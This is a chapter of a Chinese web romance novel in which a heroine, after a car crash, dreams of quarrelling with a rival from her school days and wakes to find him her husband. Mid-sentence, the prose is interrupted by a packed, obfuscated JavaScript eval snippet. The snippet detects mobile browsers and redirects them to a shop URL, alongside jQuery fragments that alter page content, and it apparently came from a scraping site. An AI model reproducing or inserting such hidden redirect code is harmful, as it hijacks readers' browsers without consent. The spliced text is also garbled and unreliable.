风筝随风飞乘，
春心受困于万般靓丽的人，
对视即永恒。
私藏是爱意无礼的囚困，
吻是，最短单位的虔诚。
——《偷吻的礼仪》，文/宝光相直
2025年11月21日首发于晋江文学城，感谢支持正版，祝阅读愉快。
-
-
“砰——！！”
撞车的巨响回荡在长街，车灯爆裂，碎渣飞溅四散的瞬间，安全气囊全部弹出。
空旷的街道当场烟尘滚滚，一片死寂。
贝茜的意识溃散，远处的警笛和救护铃此起彼伏，她躺在废墟里做了一个很长的梦。
……
又是一年高考季，沪市第一高级中学照例，组织起考前动员大会。
操场上学生密集站队，年轻的脑袋一个挨着一个，交头接耳，带着人生重要考试临近的紧张和兴奋。
不过高三生贝茜不在其中。
她在班主任办公室。
报考电影学院的她已在去年底参加了表演统考，并通过了年初的专业校考。班主任老胡趁动员会的空当，单独叫她来确认志愿填报事宜。
“小茜，老师知道你艺考成绩很优秀，接下来的文化课考试至关重要，最后一个月你得加把劲啊！”
老胡百忙之中抽空劝学，挥舞着贝茜的档案信息表，动之以情。
贝茜抱着本五三，点点头：
“我爸爸已经请了更好的家教，让您操心了，我不会辜负您的厚望。”
骄傲大小姐唯独在成绩这件事上谦虚做人。
她从小热爱唱歌跳舞，享受周围所有人的艳羡赞许，喜欢做宇宙中心，正因此才报考了电影学院，一心走学表演当明星这条路。
但对比艺术，她的学习就显得很一般了。
班主任说的没错，文化成绩不过关还是进不了电影学院。
贝茜暗自叹了口气。
哎，人总不能文体两开花，努努力吧。
“行，等会儿你没事就先去操场集合，让班长管下纪律，我晚点到。”老胡把表格放桌边压住，对这个未来规划明确的小姑娘还是很有好感的。
“好的老师，那我先出去了。”
她刚离开，办公室里就响起小片讨论声。
教师们聊起贝茜，都对这位一只脚踏入大荧幕的校园小红人分外来电。
隔壁班新班主任开口感叹：“喔唷！嗰个小姑娘气质侬好，沪市艺考第一名是勿一样哦。”
“还是老胡运道好，小妹妹样貌顶漂亮，练过舞蹈身段老高级个，讲话又有腔调。”
另一边的数学组组长操着更纯正的沪语打趣，
“要是我屋里厢个囡囡，我勿要忒开心哦！”
连串的赞美从虚掩的门缝传出，落在贝茜耳里。
无论台上表演还是台下生活，贝茜每次离场都会习惯性放慢脚步，留意身后窃窃惊叹。
她眉梢微挑，满意而又稀松平常地，弯了下嘴角。
面带与生俱来的凌傲明媚，转身打算离开。
主任办公室在走廊尽头的拐角，出门转过隔墙就是东走廊。
贝茜留心着里面的说话声，忘记注意看路，转头时被迎面抵近的一道黑影恍了神，吓住脚步。
猝不及防扑袭过来，是一段淡淡的冷杉调青苔香。
似乎早已预料到她的冒失，那道影及时偏让半步，避免撞上她。
像是两颗行星危险错轨，极近、极近地交接。
莫名的熟悉感在作祟。
由于身高差距，贝茜在几秒的刹那里，目光只瞟到对方领口。
那副清厉的锁骨最先惹眼。
线条感利落地横亘在颈项下，连接宽阔平直的肩膀，优越高挑的骨架稳稳撑起他身上那件简单黑T。
挺括垂顺的衣底，隐约透出几缕少年人的肌肉线条。
并非贲张的鼓块，而是山峦余脉般流畅起伏，沉寂了勃然的劲力。
黑色领边收线紧密，点缀一条Santos de Cartier斯巴达素链。
白金项链设计冷静而克制，在他极简穿搭中又恰如其分。
如一弯月牙倒映在没有涟漪的夜河。
贝茜脚步凌乱地避让，抬眼，才刚瞥见对方鼻侧那颗清淡又性感的浅褐色小痣，就擦肩而过。
直到年轻男人迈进她身后的办公室，她才如梦惊醒，猛地回头：
宋言祯？？！
他怎么回来了？
怪不得她刚才还没认出他，就燃起一股无名恼火。
这人的自恃清高，寡冷难接触的样子，她从小到大最最讨厌！
她犹豫着要不要一走了之，办公室里又响起一阵盛赞。
“这位是……哦！你就是宋言祯呀？幸会幸会。”最先说话的还是刚才夸贝茜的年轻教师。
他才刚来一中执教半年，当年胡老师班里有个顶级学神的传说就已经听烂了。
宋言祯声音很低，回答了句什么，不太清晰。
贝茜贴近门口仔细听墙角。
见过宋言祯的老师就没有不夸的：
“侬晓得伐，这是沪上医药科技【松石集团】唯一继承人，几代都是医学大拿，真正的高知世家。”
“人家自己才厉害嘞，16岁拿IBO金牌，全国中学生创新研究又获得生命科学一等奖，神仙水准。”
“难怪高一就被沪市医科大学破格保送，提前招录走啦。”
宋言祯单论背景就逆天，偏偏老天爷追着他喂饭。
在同龄人备战高考的时候，他已经攻读医科两年之久。
隐在门外的贝茜撇撇嘴“嘁”了一声。
刚刚都还在背地里夸她的老师，现在看到宋言祯简直个个忘情，争相称赞欣赏，完全把她抛诸脑后了。
这种风头被抢的感觉，自从宋言祯高二上学期离开，她已经很久没有体会过了。
她心急地从窗户边悄摸摸探头，往里面看去。
男生背影静立在下午的夕光中，却仿佛有一道无形的界限。日辉喧嚣地蔓延到他周围，然后悄然消弭于他微冷的气场中。
安静，沉冷，矜骄，贵不可攀。
老胡对他客客气气：“小宋来了，主任说过你今天回校参加动员会，给同学们做宣讲。”
宋言祯只在他班里一年，但足以辉煌他整个教学生涯。
毕竟天才的脱颖而出，不是因为他教育方法好，而是因为他运气好。
“胡老师。”
这是她听到他开口的第一句话，隔着玻璃传来。
度过变声期后，趋近成年男人的深沉低缓，带着些微磁石质感：“主任让我来找您拿发言稿。”
老胡从抽屉里翻出一册演讲稿，交到他手上叮嘱：
“知道你在医大课业忙，还有半小时你熟悉下稿子，上台照着念就行。”
看见他对老胡点头致谢，贝茜赶紧缩回脑袋。
漫天的褒奖没能阻滞宋言祯来去行踪，他长腿带风，折返拉开门掀起小阵气流，吹拂了贝茜额前的发丝。
随着人走出来，门扉再次轻声闭合，贝茜的声音在同时响起：
“哟~，保送生回来啦。”
话音悦耳，语气却是带着挖苦的笑讽。
表扬没能让宋言祯停留，恶言恶语自然也不能。
听到她开口，男生只是动作稍顿，旋即松开门把手，转身离开。
哟嗬？
贝茜直起身子，不可置信地鼻腔吭笑。
“怎么？当两年大学生，眼界高了，连发小也不认识了？”她抱着书跟上去，追在他身后质问。
其实贝茜尾随得有点吃力，许久不见，这人又长高不少，行走步调昂阔流畅，一步能顶她两三步小跑。
蓬松的侧编麻花辫搭在肩头，随她下楼的步伐灵动跳跃，她盯着他侧脸，皱眉抬高音量：“喂，你哑巴了吗？”
她不觉得宋言祯有什么厉害，但让她拳头砸在棉花上那样如鲠在喉，宋言祯从来都最在行。
看着他大步走出教学楼，被无视的感觉更让她来气。
跟随他转到林荫道上，贝茜带着细喘，再也忍不住呵斥：
“宋言祯！”
前方那条修挺的背影终于停驻，侧眸看她：
“在跟我说话？”
日晕斜洒，游弋在他宽直肩脊，辉煌光色近乎华美，化作他薄削轮廓上一层流动的金纱。
他微微回头，似是略带凉意地笑了：
“还以为你不记得我的名字。”
一句话惹得贝茜瞬间咬牙，果然是故意的！
“这里有别人吗？我一直在跟谁讲话你是真不知道还是……”
“说话前先叫人，懂？”他无心纠缠，不给她发脾气的机会。
她梗着脖子不服气，“我凭什么要先叫你？你看到我都没……”
他再次打断施法，“礼貌是小明星的必修课。”
贝茜圆润漂亮的耳朵染上愠怒的薄红。
他怎么知道她要当明星的？
肯定是刚才在办公室看到了她的报名信息。
不光不让她把话说完，还偷窥她隐私？还以此暗讽她？
“你说谁没礼貌啊？你装聋作哑一句不回就很有礼——”
手机铃声替他截止住她的话音，他根本没打算等她说完，抬手接起电话：“师兄，你说。”
贝茜快要气炸了。
一口恶气憋在胸腔，她忍不住在他打电话时蛐蛐：
“嘁，你大学同学知道你是这种人吗？表面光风霁月人五人六的，实际孤僻又傲慢得要命，一点绅士风度都没有。”
似乎不想被她的嘀咕声干扰，宋言祯一手拎着演讲稿，一手接着电话，信步走向路边停着的Aston Martin，斜倚在车门边。
虽然是同龄人，但宋言祯虚长贝茜几个月。
她高考后才过18岁生日，而宋言祯已经有了驾照和自己的车。
贝茜攥紧了握拳的手：
“不就是保送，有什么好傲的？”
可他们的差距不只是几个月的年龄，也不只是保送。
她听说过，他刚进入大学就被德高望重的导师早早选中，和二十多岁的研究生们同台竞技搞科研。
贝茜心绪闷堵烦躁，盯着他讲电话时认真的姿态，与对方讨论着她完全听不懂的课题。
这个年轻人正处于“意气少年”和“成熟男人”之间，最英姿如玉的年纪。
一颗痣悬在高挺鼻梁的左侧，为他增添遥不可及的神性美感。
宋言祯光站在那就是耀眼的，可她偏不想让他那么耀眼。凭什么从小住对门，上同一所学校，她总处处被压一头？
她走近过去，双臂环胸对着他扬起下巴：“既然你这么忙，还特地回来做什么宣讲啊？”
他从电话里抽空听她的问题，又只是撩起眼皮睨了她一眼。
随之而来的空洞沉默，让贝茜不知道他是在专心听电话，还是在思考问题的答案，
又不回答！
贝茜真是被他气笑了。
“跟你说话呢，”眼见宋言祯要调转方向，她一个闪身又怼到他面前，
“你这种没参加过高考的人，居然要动员高考？你不觉得可笑吗？”
“嗯。”
一声懒散淡漠的鼻音在应和她。
他半觑着她，眼神带着不清明的戏谑。
模棱两可，分不清是对电话，还是对她。
“你个混蛋！到底有没有在听我说话啊？！”
被他轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803673|190716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
佻态度气到上头，刹那气血翻涌，贝茜猛然冲动地打落他手中的发言稿。
啪地，挥落它时发出不轻不重的声响，用回形针别成一沓的文稿很轻易就被打散，纷纷坠地前，被风卷席得四处飘扬。
这一刻时间如同翩飞的纸页，哗啦啦地弥走。
贝茜也被自己惊住了，站在原地怔愣半晌，许久才敢抬眸试探瞄宋言祯的脸色。
出乎她意料的是，宋言祯在起初并没有什么反应，只是目光低垂，凝着飞远的纸张。
然后，视线移到她脸上，整个人沉静到冷酷。
“嗯，这部分等实验结果。”他甚至不疾不徐把电话讲完，
“先挂了，”他说，
“我这儿有事要处理。”
通话掐断，他握着手机的手缓慢下落。
贝茜固执地抿着唇一言不发，怒气和忐忑委屈都写在脸上。
是了，相较于还穿着青涩校服的她，他早已精通于隐藏情绪，被惹怒后的语气都十分稳淡：“我有对不起你没？贝茜。”
他只半步就逼近过来，悬殊的身高差压得贝茜喘不过气。
紧张令人感官放大，她不合时宜地嗅到，从他衣服散发出隐约的杜松子尾调香。
贝茜紧了紧怀里的习题书，没说话。
下一瞬，书就被人轻松抽走，伸手想抢回，书却先一步被宋言祯举高。
“公主病和胜负欲，改掉一个，行么？”
他这才开始跟她说话。
不，准确说，是开始反击。
宋言祯拎着她的数学五三，随手翻开几页嗤笑：“就这种用功程度，你拿什么和我比，嗯？”
“还给我。”贝茜知道理亏，偏偏她最听不得自己比不过他的说法，只有踮脚气愤地去够她的书，
“我能考上心仪的学校，不用你来说！”
“是不是报了表演系，所有人都该把你当明星捧着？”宋言祯轻易避开她，随意把书本脱手丢远在路边。
贝茜看着自由落体的书，瞪大眼睛。
“你…”
下意识想过去拾起，细腕却猛地受到攥扼，被男人拽回身前。
“不准捡。”他字音低缓有力，“给我把稿件先找回来。”
千娇万宠的小姑娘哪里受过这种屈辱，咬着牙跟他犟：“要找你自己去找，你不是很厉害吗？有本事不用稿子临场发挥啊。”
毫无作用地扭动手腕，试图和185以上男性的握力抗争，结果自然是弄痛自己。
“松手！”看他纹丝不动，她越发急躁起来。
宋言祯居高临下审视着她：“原来你也知道不好受。”
像是落网的猫，贝茜越疼痛越挣扎，越挣扎越委屈，眼尾鼻端染上鲜润的红，双眸蓄雾。连控诉的哭腔都带了颤儿：“你放开……还不都是因为你…因为你太过分……”
不知是出于不耐烦还是别的什么，宋言祯拧紧眉头，一把扣捏住她软嫩的下巴，骨感坚硬的指端上，溢出她柔如绸缎的颊肉。
她咬紧下唇，耷拉的眼睫挂出晶莹泪滴。
天大的委屈。
“哭？”他的句意变得更加不容抗拒，“哭也得找。”
更委屈了。闪烁泪光里，她看见他唯一的配饰，那条银白色素圈项链，在他锁骨上折射出熠熠的星闪。
她听见他说：
“为自己做的事负责，贝茜。”
……
**
等视线重新聚焦，天花板的茫白占据大半意识，挂满的吊瓶架有节律地晃动。
滴答，滴答。
药液从透明长管流入身体，消毒水气味钻进鼻腔。
贝茜惊然醒神，一个打挺坐起来。
猝不及防起猛，眩晕上涌，身子一阵不受控制地摇晃。
适时，一只大手从侧旁出现，握住她的手肘将人扶稳。
这只手骨节漂亮得近乎锋利，冷白皮肤下，淡青色脉络绵延蛰伏，随动作跳凸出狰狞的力量美。
无名指根，圈戴着一枚男士婚戒。
很眼熟的一只手，跟记忆里抓住她不放的那只手一模一样。除了婚戒。
哦。
贝茜抬头一看。
原来就是同个人。
就是宋言祯！
“干嘛呢你宋言祯，你怎么还……”换衣服了？
这人不是穿着黑色T恤来的吗？怎么现在西装革履的。突然换季了？
只是她话还没说完，就又一阵不清明的头晕，连同被他扔了书后气哭的感觉也变得模糊。
“贝贝。”
宋言祯坐在她病床边，突然开口叫她。
贝茜抖了下，肌肤上的颗粒感蛇一样爬满脊背。
贝贝？叫谁？她吗？
这么恶心的称呼，想整她？
男人的风姿样貌脱离了她残破的记忆，已经全然褪去少时清泠，变为完全熟龄的深沉冷感，四平八稳。
唯独眼里血丝和泛青的胡茬流露疲惫。
他嗓音涩哑，再次叫她：“贝贝，我会负责。”
“我怎么了？”她想问负什么责，刚醒来的脑袋暂时没转过弯。
宋言祯默了一瞬，简短道出：“车祸。”
贝茜也沉默了。
“所以…你说要负责……？”她联系前言后语，得出一个令她拍案而起的结论，唰地抬手指住他鼻子大骂，
“好哇！我就知道肯定是你小子撞的我——”
“我是说，你肚子里的孩子。”男人扣住她激动挥舞的手腕，他们的姿态和往昔画面重叠，
他说，“我们的。”
贝茜：？
请问说的是中文吗？
不等她出声，宋言祯再次开口，字音清冷沉着：“我们不离婚了。”
贝茜：……？？